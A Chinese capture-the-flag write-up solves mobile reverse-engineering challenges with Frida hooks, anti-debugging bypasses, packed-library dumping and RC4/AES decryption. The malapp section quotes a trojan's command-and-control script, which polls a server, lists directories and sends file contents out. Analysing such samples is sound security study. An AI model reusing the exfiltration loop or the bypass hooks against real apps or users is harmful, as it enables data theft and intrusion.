Logo WP

2025数字中国APP初赛

数据加密#

ezenc#

通用算法最好识别了,真的是这样吗?

native 里面,检查长度 22,然后有个像是状态机的东西,恢复算法如下

#include <math.h>
#include <stdio.h>

void print_db(double *db, int len) {
    for (int i = 0; i < len; i++) {
        printf("%f%c", db[i], (i != 0 && ((i + 1) % 4) == 0) ? '\n': '\t');
    }
    printf("\n");
}

double out1enc[256] = {
    2019.0, 136.471471, -8.025564, -102.391288,
    33.455527, 184.705093, 29.993235, 82.585939,
    -75.967191, 1.628784, -125.456008, -89.0,
    -125.456008, 1.628784, -75.967191, 82.585939,
    29.993235, 184.705093, 33.455527, -102.391288,
    -8.025564, 136.471471
};

double out2enc[256] = {
    0.00000000,-1.01411709e2, 4.84099900, -32.94549299, 
    1.08724899, -60.41983400 ,-24.54677200, 1.53041989e2,
    54.22366999, 2.89004899, 1.62250214e2,-0.00000000,
    -1.62250214e2,-2.89004899, -54.22366999,-1.53041989e2,
    24.54677200,60.41983400,-1.08724899,32.94549299,
    -4.84099900, 1.01411709e2
};

int main(int argc, char *argv[])
{
    int len = 22;
    double out1[256];
    double out2[256];
    double tmp[256] = { 0 };
    double input[256];
    char *flag = "0123456789012345678901";
    for (int i = 0; i < len; i++) {
        input[i] = (double)flag[i];
    }

    printf("Input:\n");
    print_db(input, len);

    double x = 0;
    for (int i = 0; i < len; i++) {
        out1[i] = 0;
        out2[i] = 0;
        for (int j = 0; j < len; j++) {
            x = (double)i * 6.28318531 * (double)j / len;
            out1[i] += input[j] * cos(x); // tmp 数组全为 0,忽略
            out2[i] += -input[j] * sin(x);
        }
    }
    printf("out1:\n");
    print_db(out1, len);
    printf("out2:\n");
    print_db(out2, len);
    return 0;
}

hook 验证算法

function print_db(db_ptr, len) {
    var db = ptr(db_ptr);
    for (let i = 0; i < len; i++) {
        console.log(db.add(8*i).readDouble());
    }
}

function hook() {
    var libezenc = Process.findModuleByName("libezenc.so");
    var encrypt = libezenc.base.add(0x1BE4);
    var ret = libezenc.base.add(0x1A38);
    var obj = {
        s: ptr(0),
        tmp: ptr(0),
        out1: ptr(0),
        out2: ptr(0),
    };
    Interceptor.attach(encrypt, {
        onEnter: function() {
            obj.s = this.context.x0;
            obj.tmp = this.context.x1;
            obj.out1 = this.context.x2;
            obj.out2 = this.context.x3;
            var len = 22;
        }
    })
    Interceptor.attach(ret, {
        onEnter: function (){
            var len = 22;
            console.log("s:")
            print_db(obj.s, len);
            console.log("tmp:")
            print_db(obj.tmp, len);
            console.log("out1:")
            print_db(obj.out1, len);
            console.log("out2:")
            print_db(obj.out2, len);
        }
    })

    console.log("Hooked!");
}

setTimeout(hook, 2000);

矩阵相乘,Sage 解一下即可

from sage.all import *

LEN = 22
from math import sin, cos, pi

b1 = [
    2019.0, 136.471471, -8.025564, -102.391288,
    33.455527, 184.705093, 29.993235, 82.585939,
    -75.967191, 1.628784, -125.456008, -89.0,
    -125.456008, 1.628784, -75.967191, 82.585939,
    29.993235, 184.705093, 33.455527, -102.391288,
    -8.025564, 136.471471
        ]
b1 = vector(b1)
b2 = [
    0.00000000,-1.01411709e2, 4.84099900, -32.94549299, 
    1.08724899, -60.41983400 ,-24.54677200, 1.53041989e2,
    54.22366999, 2.89004899, 1.62250214e2,-0.00000000,
    -1.62250214e2,-2.89004899, -54.22366999,-1.53041989e2,
    24.54677200,60.41983400,-1.08724899,32.94549299,
    -4.84099900, 1.01411709e2
        ]
b2 = vector(b2)

A1 = []
A2 = []
for i in range(LEN):
    tmp1 = []
    tmp2 = []
    for j in range(LEN):
        tmp1.append(cos(i*j/LEN*2*pi))
        tmp2.append(sin(i*j/LEN*2*pi))
    A1.append(tmp1)
    A2.append(tmp2)

# 只用一个矩阵解,解不唯一
A1 = Matrix(A1)
A2 = Matrix(A2)
X = (A1+A2).solve_right(b1+b2)
# 不知道为什么字符顺序是乱的
bs = ([round(x) for x in X])
print(chr(bs[0]).encode() + bytes(bs[1:][::-1]))

b'flag{th3_df7_S0_3asy!}'

是个 DFT(离散傅立叶变换)

magic#

magic

长度 22,检测 flag 头 flag{ 和尾 } ,扔进 native 里加密。

flag{0123456789012345} ,不过这样输进去之后,程序会直接卡死。

跟踪 native,查看字符串,有反调试踪迹

Article Image

接受数据包作为 key,如果有调试就修改加密初始向量。

Article Image

包里的到的数据是 12345566778843217034737357723064

0x12,0x34,0x55,0x66,0x77,0x88,0x43,0x21,0x70,0x34,0x73,0x73,0x57,0x72,0x30,0x64

先 hook 解密出 key

setTimeout(function() {
    var lib = Process.getModuleByName("libnative-lib.so");
    var next = new NativeFunction(lib.base.add(0x2954), 'uint8', ['uint8']);
    console.log(new Uint8Array(lib.base.add(0x5100).readByteArray(16)));
    let tmp = 0;
    let key = [0x12,0x34,0x55,0x66,0x77,0x88,0x43,0x21,0x70,0x34,0x73,0x73,0x57,0x72,0x30,0x64];
    let result = "";
    for (let i = 0; i < 16; i++) {
        tmp = next(tmp);
        key[i] ^= tmp;
        result += key[i].toString(16).padStart(2, '0');
    }
    console.log(result);
}, 1000);

然后查看 aesEncrypt,发现 S 被修改过的,修改脚本解密即可。这里的 aes 是 https://github.com/boppreh/aes

import aes

cipher = aes.AES(bytes.fromhex("ed52a00afc9a8279e70a7eb77498e9d4"))
r = cipher.decrypt_block(bytes.fromhex("60579834a6ee69d0999224ef933457c3"))
print(r)
# b'3a7e1d9c0b8f4e56'

flag{3a7e1d9c0b8f4e56}

babyapk#

简单的安卓逆向

简单异或,直接调用函数即可

if (Java.available) {
    var mainActivity;
    Java.perform(() => {
        var MainActivity = Java.use("com.example.createso.MainActivity");
        MainActivity.onCreate.overload('android.os.Bundle').implementation = function (bundle) {
            mainActivity = this;
            console.log(this.baby_xor(Java.array("I", [1,2,3,4,5,6,7])))
            console.log(this.baby_xor(Java.array("I", [16,103,74,79,20,99,78])))
            var enc = [119, 9, 40, 44, 106, 84, 113, 124, 34, 93, 122, 121, 119, 4, 120, 124, 36, 7, 127, 42, 117, 6, 112, 41, 32, 4, 112, 47, 119, 81, 123, 47, 33, 81, 40, 120, 114, 24]
            console.log(String.fromCharCode.apply(null, this.baby_xor(Java.array("I", enc))))

            this.onCreate(bundle);
        }
    });
}

flag{1873832fa175b6adc9b1a9df42d04a3c}

GoodLuck#

一个简单的算法逆向 flag格式:flag{youget}

带了混淆,jeb 自带反混淆。

Article Image

看到这几个数字想到 md5(其实是 AI 想的😂)然后把密文扔进 cmd5 里面查一下就有了

Article Image

flag{r9d3jv2}

逆向工程#

偷天换日#

一个算法逆向

Article Image

进行了一堆虚拟机检测,真机无所谓,直接在 Native 层进行 Check。发现在 JNI_OnLoad 里面进行了一些 Java 层的函数调用。

Article Image

交叉搜索发现,这些字符串都在 .init_array 中的函数中被加密了。可以 frida hook获取,然后生成 idapython 代码进行 patch。

var ea_start = 0x36010
var ea_end = 0x36500

// find with idapython
// import idautils
// for head in idautils.Heads(0x36010, 0x36500): print(hex(head), end=",")
var heads = [0x36010,0x36024,0x36030,0x36040,0x36060,0x36080,0x360a0,0x360c0,0x360e0,0x36100,0x36118,0x36130,0x36160,0x36184,0x36190,0x361d0,0x361e0,0x36208,0x36214,0x36218,0x36220,0x36250,0x36264,0x3626c,0x36280,0x36292,0x362a0,0x362b4,0x362be,0x362c0,0x362dc,0x362e0,0x362fc,0x36306,0x36310,0x36330,0x36350,0x36360,0x36370,0x36390,0x363b0,0x363c0,0x363e0,0x363fc,0x36410,0x36440,0x36468,0x36470,0x364a0,0x364b4,0x364c0,0x364d8,0x364e0,0x364f8,]

function hook() {
    var lib = Process.findModuleByName("libgoodluck1.so");
    for (let i = 0; i < heads.length; i++) {
        let addr = lib.base.add(heads[i]);
        let cstr = ptr(addr).readCString()
        if (cstr.length != 0) {
            console.log(`ida_bytes.patch_bytes(${heads[i]}, b"${cstr}"); ida_bytes.create_strlit(${heads[i]},${cstr.length},ida_nalt.STRTYPE_C);`)
            // console.log(`${heads[i]}:${cstr.length}: ${cstr}`)
        }
    }
}

hook()

patch 完了之后,就能分析逻辑了,这里推荐插件 hrtng,可以自动标出完整字符串。(如果标的不对,就删掉函数重新创建)

Article Image

获取 cc.dat 并进行了 RC4,这里可以自己解也可以 hook,直接用赛博厨子解了。

Article Image

扔进赛博厨子就有魔法棒,Base58 解得 flag

flag{j#n$j@m^,*4}

dumpme#

try dump me!

打开就报错,换成安卓10就没问题了😂

Article Image

没看到 JNI 相关内容,搜索字符串找到这。

搜索了一下 Dobby,这似乎是个 hook 框架。

https://github.com/jmpews/Dobby

观察到app生成了一个子进程,被其父进程调试

Article Image

从 frida 启动,无法启动;直接 attach 也不行。查看logcat,logcat 打印出了 spawn 时候的报错

Article Image

出题人还是非常好心的,帮我把反调试的位置打印出来了。

Article Image

观察到这个 0x26 还有个地方有调用

Article Image

也一起 patch 了。但是打包失败,那还是 frida 吧

分析发现会调用一个检测反调试的函数两次,然后判断第一次和第二次的结果。不相等就 jmp 0x26,所以这里全部设置成一样的值。就能成功反调试

var linker64 = Process.findModuleByName("linker64")
var call_constructors = linker64.base.add(0x50C00); // find with ida

console.log("find call_constructors at ", call_constructors);

var hooked = false;
Interceptor.attach(call_constructors, {
    onEnter: function(args) {
        var libshell = Process.getModuleByName("libshell.so");
        if (!hooked) {
            Interceptor.attach(libshell.base.add(0x1B87C), {
                onLeave: function(retval) {
                    console.log(`Return with ${retval}`)
                    this.context.x0 = 0x8f1197b2;
                }
            })
            console.log("Hooked!");
            hooked = true;
        }
        console.log(`${libshell.name} ${libshell.base} Calling ${args[0]}`)
    }
})

接下来就是 dump so 了。注意最下面的 dumpso() 必须是动态的,即程序完全加载之后再取消注释

function dumpso() {
    var ranges = Process.enumerateRanges('r--');
    var fname = `/data/user/0/com.appgame.app/libshell_dump.so`;
    var file = new File(fname, "wb");
    for (let i = 0; i < ranges.length; i++) {
            // if (ranges[i].file.path.indexOf("libshell.so") != -1) {
        let obj = ranges[i];
        let header = new Uint8Array(ptr(obj.base).readByteArray(4));
        // console.log(`Header: ${JSON.stringify([...header])}`)
        if (JSON.stringify([...header]) == "[127,69,76,70]") {
            if (ranges[i].file) {
                var name = obj.file.path;
                if (name.indexOf("libshell.so") != -1) {
                    console.log(`Find elf at ${obj.base}`)
                    console.log(`with name ${name}`);
                    console.log(`with base ${obj.base}`);
                    for (let j = 0; j < 10; j++) {
                        let obj = ranges[i+j];
                        var buf = ptr(obj.base).readByteArray(obj.size);
                        file.write(buf);
                    }
                }
            }
        }
    }
    file.close();
    console.log(`dump done!`);
}

// dumpso();

然后修复,https://github.com/F8LEFT/SoFixer

./SoFixer-Linux-64 -s libshell_dump.so -o libshell.so.fixed -m 0x71aa60c000 -d

Article Image

可以看到,已经修复成功了。

Article Image

搜字符串,发现是个 RC4,不懂是做什么的

Article Image

不会是自己实现了个 dex 解析吧

换个思路,既然已经加载进来了,那各种局部变量和方法都可以随便访问了。检查一下有疑点的类和方法

先看看 Checker

function dumpClass(obj) {
    var clazz = obj.class;

    console.log("=== Methods ===");
    var methods = clazz.getDeclaredMethods();
    for (var i = 0; i < methods.length; i++) {
        var method = methods[i];
        console.log("- " + method.toString());
    }

    console.log("\n=== Fields ===");
    var fields = clazz.getDeclaredFields();
    for (var j = 0; j < fields.length; j++) {
        var field = fields[j];
        field.setAccessible(true);  // 允许访问 private 字段
        try {
            var value = field.get(obj);  // 获取字段值
            console.log("- " + field.getName() + " = " + value);
        } catch (e) {
            console.log("- " + field.getName() + " = <error: " + e + ">");
        }
    }
}
var ck = Java.use("com.appgame.app.Checker")
dumpClass(ck);
=== Methods ===
- private byte[] com.appgame.app.Checker.encrypt(java.lang.String)
- public boolean com.appgame.app.Checker.check(java.lang.String)
- public byte[] com.appgame.app.Checker.enc(java.lang.String)

=== Fields ===
- encryptedBytes = [B@f7eca56
[Pixel 4 XL::com.appgame.app ]-> console.log(ck.encryptedBytes.value)
90,45,3,-62,95,121,25,-2,-90,35,-59,34,-37,-101,83,46,79,-90,39,-65,-38,-106,108,23,-30,93,17,58,103,41,0,-71

经过尝试,enc和 encrypt 效果是一样的。而且加密和解密一样

[Pixel 4 XL::com.appgame.app ]-> ck.enc("a")
[
    93
]
[Pixel 4 XL::com.appgame.app ]-> ck.enc(String.fromCharCode(93))
[
    97
]
var ck = Java.use("com.appgame.app.Checker").$new();
var aa_enc = ck.enc("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
var flag_enc = ck.encryptedBytes.value;
var flag = "";
for (let i = 0; i < 32; i++) {
    flag += String.fromCharCode(aa_enc[i] ^ "a".charCodeAt(0) ^ flag_enc[i]);
}
console.log(flag);

flag{Shel1_1s_V3ryEasyF0r_You!!}

IOSApp(还在研究)#

安全审计员审查发现revealFlag函数比较可疑,请分析代码,帮她找到与之相关的flag

Article Image

搜索字符串看到神秘密文

Article Image

全部拼起来就有了

from base64 import b64decode

print(b64decode("ZmxhZ3tvbGRlc3RfdHJpY2tfaW5fdGhlX2Jvb2tzfQ=="))

flag{oldest_trick_in_the_books}

但是看了师傅的 WP, 这是个假 flag,在另一处有真 flag

WASMSAW#

程序被混淆了,用 Jeb

frida 附加上去就被杀。在 .init_array 看到了反调试

Article Image

hook 绕过

var linker64 = Process.findModuleByName("linker64")
var call_constructors = linker64.base.add(0x50C00); // find with ida

console.log("find call_constructors at ", call_constructors);

var hooked = false;
function bypass() {
    console.log(`x8 = ${this.context.x8}, x9 = ${this.context.x9}`)
    this.context.x9 = this.context.x8;
}
Interceptor.attach(call_constructors, {
    onEnter: function(args) {
        var lib = Process.getModuleByName("libjluusat.so");
        console.log("find call_constructors at ", call_constructors);
        if (!hooked) {
            Interceptor.attach(lib.base.add(0x1CFA34), {
                onEnter: bypass
            });
            Interceptor.attach(lib.base.add(0x1CF934), {
                onEnter: bypass
            });
            hooked = true;
            console.log("hooked!");
        }
        console.log(`${lib.name} ${lib.base} Calling ${args[0]}`)
    }
})

先加载了个 lua,在 apk/res/load.lua 下,在线反编译 https://luadec.metaworm.site

-- filename: @load.lua1
-- version: lua52
-- line: [0, 0] id: 0
test = function()
  -- line: [3, 50] id: 1
  local r0_1 = luajava.bindClass("java.nio.ByteBuffer")
  local r1_1 = luajava.bindClass("dalvik.system.InMemoryDexClassLoader")
  local r2_1 = luajava.bindClass("java.lang.reflect.Array")
  local r6_1 = r0_1:wrap((function(r0_2)
    -- line: [11, 32] id: 2
    assert(#r0_2 % 2 == 0, "Invalid hex length")
    local r1_2 = math.floor(#r0_2 / 2)
    local r2_2 = r0_1:allocate(r1_2)
    for r6_2 = 0, r1_2 - 1, 1 do
      local r7_2 = r6_2 * 2 + 1
      local r8_2 = r0_2:sub(r7_2, r7_2 + 1)
      local r9_2 = tonumber(r8_2, 16)
      assert(r9_2, "Invalid hex char: " .. r8_2)
      if r9_2 > 127 then
        r9_2 = r9_2 - 256
      end
      r2_2:put(r6_2, r9_2)
    end
    return r2_2:array()
  end)("6465780a30333500a6034259c5618857dd1a91f47c3073c191377ce908b38d7840060000700000007856341200000000000000008805000025000000700000000b000000040100000900000030010000010000009c0100000d000000a4010000010000000c020000140400002c0200000e030000160300002503000034030000370300003c0300003f0300004303000057030000780300008b030000a2030000b6030000ca030000e5030000000400000e0400002104000026040000290400002d04000032040000360400003904000041040000600400006304000071040000740400007d0400008f0400009b040000b0040000b5040000ba040000c9040000d3040000030000000700000008000000090000000a0000000b0000000c0000000d0000000e00000012000000160000000400000000000000e80200000600000003000000f00200000500000006000000000000000600000007000000f00200000600000008000000f00200001200000009000000000000001300000009000000f802000014000000090000000003000015000000090000000803000002000600110000000100000019000000010000001b0000000200050000000000020006001f000000030001001c000000030004001d000000040002001e00000005000500000000000700050000000000070003001700000007000200230000000800070021000000080008002200000002000000010000000500000000000000100000000000000071050000810500000100010001000000d4020000040000007010070000000e000400010003000100d8020000390000001a000f001a0118007110040001000c011a0220006e20050021000c0112126e200c0021001a021a006e300b0031021a030200712000003000281c0d036e10060003000c03220107007010080001001a0201006e20090021000c016e20090031000c036e100a0003000c037120010030000e000000020000001a0001000101041d07000e000c01000e87694d5b5c1b1e011a1000000200000006000600010000000600000001000000050000000200000005000500010000000a00063c696e69743e000d486f6f6b206661696c65643a20000d486f6f6b2073756363657373210001490003494c4c00014c00024c4c00124c616e64726f69642f7574696c2f4c6f673b001f4c636f6d2f737a7a672f6a6c75757361742f537472696e67486f6f6b65723b00114c6a6176612f6c616e672f436c6173733b00154c6a6176612f6c616e672f457863657074696f6e3b00124c6a6176612f6c616e672f4f626a6563743b00124c6a6176612f6c616e672f537472696e673b00194c6a6176612f6c616e672f537472696e674275696c6465723b00194c6a6176612f6c616e672f7265666c6563742f4669656c643b000c537472696e67486f6f6b65720011537472696e67486f6f6b65722e6a61766100035441470001560002564c0003564c4c0002565a00015a0006617070656e64001d636f6d2e737a7a672e6a6c75757361742e4d61696e4163746976697479000164000c6469676974616c6368696e610001650007666f724e616d6500106765744465636c617265644669656c64000a6765744d6573736167650013686f6f6b4d61696e41637469766974794b657900036b65790003736574000d73657441636365737369626c650008746f537472696e67009b017e7e44387b226261636b656e64223a22646578222c22636f6d70696c6174696f6e2d6d6f6465223a226465627567222c226861732d636865636b73756d73223a66616c73652c226d696e2d617069223a312c227368612d31223a2266616365646634316262643238623536336431653965303963356637326437633563613539386435222c2276657273696f6e223a22382e322e322d646576227d0001000200001a02818004ac040109c40401170f000000000f000000000000000100000000000000010000002500000070000000020000000b0000000401000003000000090000003001000004000000010000009c010000050000000d000000a401000006000000010000000c02000001200000020000002c0200000320000002000000d40200000110000005000000e802000002200000250000000e030000002000000100000071050000052000000100000081050000031000000100000084050000001000000100000088050000"))
  local r7_1 = r2_1:newInstance(r0_1, 1)
  r2_1:set(r7_1, 0, r6_1)
  return luajava.new(r1_1, r7_1, androidContext:getClassLoader())
end

这串十六进制解析之后是个 dex,用于修改 key 变量的。

Article Image

可以看到 so 里面的 compareBase 在调用 wasm

Article Image

有个 wasm,分析下,ghidra

有三个函数

Article Image

so 里面可以通过字符串信息看到调用情况,再跟踪 JNI 的字符串解析,可以看到 add_input 传入的是明文, add_target 传入的是 key digitalchina

Article Image

看看 compare,这里很有 RC4 的特征

Article Image

密文是这个

Article Image

尝试直接解密

from Crypto.Cipher import ARC4

dumps = [0x5b6029bbe6fba6fd,
         0xa5ac51ccbf77d54b,
         0x362b770b4d5c486d,
         0x8084aefd8bbf99ef,][::-1]

enc = b""
for _ in dumps:
    enc += _.to_bytes(8, 'little')

key = b"digitalchina"
cipher = ARC4.new(key)
plain = cipher.decrypt(bytes(enc))

成功解密

flag{1ee76c960b519ea804a736fd1f0ea673}

通信安全#

malapp(未完成)#

native 非常大,不过几分钟也能分析完

Article Image

简单异或,key 是 Qhi7YF1r0RNj62X5u7iR

OK 就行,整个数据包发送完成之后放在了 OK

Article Image

var url = getURL();

function generateSessionId() {
    let date = new Date();
    let timestamp = date.getTime();
    let random = Math.floor(Math.random() * 1000);
    return timestamp.toString() + random.toString().padStart(3, '0');
}

var session_id = generateSessionId();

function executeCommand(command) {
    let command_type = command.command_type;
    let args = command.args;
    if (command_type == "list_dir") {
        let fileslist = listDir(args[0]);
        let body = {
            session_id: session_id,
            result: fileslist.join("\n")
        };
        let jsonString = JSON.stringify(body);
        let response = httpPost(url+"/result", jsonString);
    }
    if (command_type == "read_file") {
        let file_path = args[0];
        let file_content = readFile(file_path);
        let hexContent = encryption.my_encryption(file_content);
        let body = {
            session_id: session_id,
            result: hexContent
        };
        let jsonString = JSON.stringify(body);
        let response = httpPost(url+"/result", jsonString);
    }
}

function heartbeat() {
    let body = {
        session_id: session_id
    };
    let jsonString = JSON.stringify(body);
    let response = httpPost(url+"/heartbeat", jsonString);
    let responseObj = JSON.parse(response);
    if (responseObj.data) {
        executeCommand(responseObj.data);
    }
}

function main111() { 
    // real?
    let ret = encryption.my_encryption('123');
    while (true) {
        heartbeat();
        sleep(1000);
    }
} main111();

观察请求 /heartbeat 的数据包,第 88 号

{"code":0,"message":"OK","data":{"command_type":"read_file","args":["/storage/emulated/0/DCIM/Camera/IMG_20250312_185709.jpg"]}}

以及 98 号

{"session_id":"1741828739223266","result":"00458c2ba99e8f209cbe6105df0f789ef056f1e4906139407320e2e0d46cd2db"}

ok,开始解密。

Article Image

搜索函数 encryption ,找到这 JsExecutor::SetupEncryption

Article Image

V8_WARN_UNUSED_RESULT MaybeLocal<Value> Call	(	Local< Context > 	context,
Local< Value > 	recv,
int 	argc,
Local< Value > 	argv[] 
)	

https://v8docs.nodesource.com/node-4.8/d5/d54/classv8_1_1_function.html

断点拿到 context 是 0x134abe8

我艹,RSA 攻击,还得学😭

MedSecureAdmin(未完成)#

MedSecureAdmin 500PT 通信安全 一个http服务和加密系统组成,尝试破解该系统就可获取flag。

if (Java.available) {
    Java.perform(() => {
        var MainActivity = Java.use("com.google.medsecureadmin.MainActivity");
        var key = MainActivity.lII.value;
        var enc = MainActivity.ll.value;
        var Encrypt = Java.use("com.google.medsecureadmin.LI");
        var rc4_enc = [];
        for (let i = 0; i < enc.length; i++) {
            rc4_enc.push(enc[i] ^ key[i % key.length])
        }
        var dec = (Encrypt.$new(key).ll(rc4_enc));
        console.log(String.fromCharCode.apply(null, dec));
    });
}
// @dm1n234

rc4 拿到用户名。

Article Image

密码在 native 层校验。

Article Image

8 个字节为一组, @ 为 key 进行加密

Article Image

很多这种加密,这里 -index 指的是 (-0x3a & 0x3f) ,LSR 指令只对低 6 位作用。效果就是从左数的第 index 位

看起来像是个 DES,不过解不出来,还得再研究。。。

这个木马在干啥#

这是个恶意木马样本,前面抓了个数据包,现在发现app服务器无法访问了,请你看看木马在干啥?

if (Java.available) {
    Java.perform(() => {
        var ac = Java.use("com.ctf.backdoor.MainActivity");
        console.log(ac.ooxx("ezAGDYwENV/al9r0udClbQ=="));
    });
}

简单 hook

[Pixel 4 XL::com.ctf.backdoor ]-> flag{7$1%j&6gh4}

我的传输安全吗?#

小明是个技术宅男,今年大年30还在让测试同学开启测试服务器,完成公司风控sdk功能的测试。看了一会春晚,小明觉得没意思,就去测试了,测试过程中在路由器上抓到了一些报文数据,因为看不懂内容,就先保存成了bin文件,你能帮忙看看嘛?

Article Image

加密

Article Image

字符串异或加密过了,dump 出来

var heads = [0x38008,0x38010,0x38034,0x38040,0x38058,0x38070]

function hook() {
    var lib = Process.findModuleByName("libinfocollectsdk.so");
    for (let i = 0; i < heads.length; i++) {
        let addr = lib.base.add(heads[i]);
        let cstr = ptr(addr).readCString()
        if (cstr.length != 0) {
            console.log(`ida_bytes.patch_bytes(${heads[i]}, b"${cstr}"); ida_bytes.create_strlit(${heads[i]},${cstr.length},ida_nalt.STRTYPE_C);`)
            // console.log(`${heads[i]}:${cstr.length}: ${cstr}`)
        }
    }
}

hook()

Article Image

可以看到注册了 ooxx

常规 RC4,长度检查为 16

Article Image

不过这里的 Key 是根据时间随机生成的,根据题目提示,需要爆破大年三十的一整天。

> date -d '2025-01-28 00:00:00' +%s
1737993600
> date -d '2025-01-29 00:00:00' +%s
1738080000
> date -d '2025-01-30 00:00:00' +%s
1738166400

https://gist.github.com/manicmaniac/def5d32f897afc8b651bdbe71b2c0586

#include "arc4.h"
#include <stdio.h>
#include <stdlib.h>

char TABLE[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()_+-={}[]";
char KEY_TABLE[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

int main(int argc, char *argv[])
{
    for (unsigned int sec = 1737993600; sec < 1738166400; sec++) {
        char message[1000] = {0x2a,0x1d,0x74,0xbb,0xc1,0x03,0xd4,0x7e,0xf3,0x34,0xa2,0x8e,0x57,0xd1,0x8d,0x62};
        int message_len;
        int i;

        unsigned char key[17] = { 0 };
        srand(sec);
        for (int i = 0; i < 16; i++) {
            key[i] = KEY_TABLE[rand() % 62];
        }

        arc4_state state;
        arc4_init(&state, key, 16);
        arc4_crypt(&state, message, 16);
        int allnice = 1;
        for (int i = 0; i < 16; i++) {
            int nice = 0;
            for (int j = 0; j < 80; j++) {
                if (TABLE[j] == message[i]) {
                    nice = 1;
                    break;
                }
            }
            if (nice == 0) {
                allnice = 0;
                break;
            }
        }
        if (allnice)
            printf("%X: \033[1;92m%s\033[0m\n",sec, message);
    }
    return 0;
}
> gcc -o main main.c arc4.c
> ./main
6798CC95: flag{ik*klme#$3}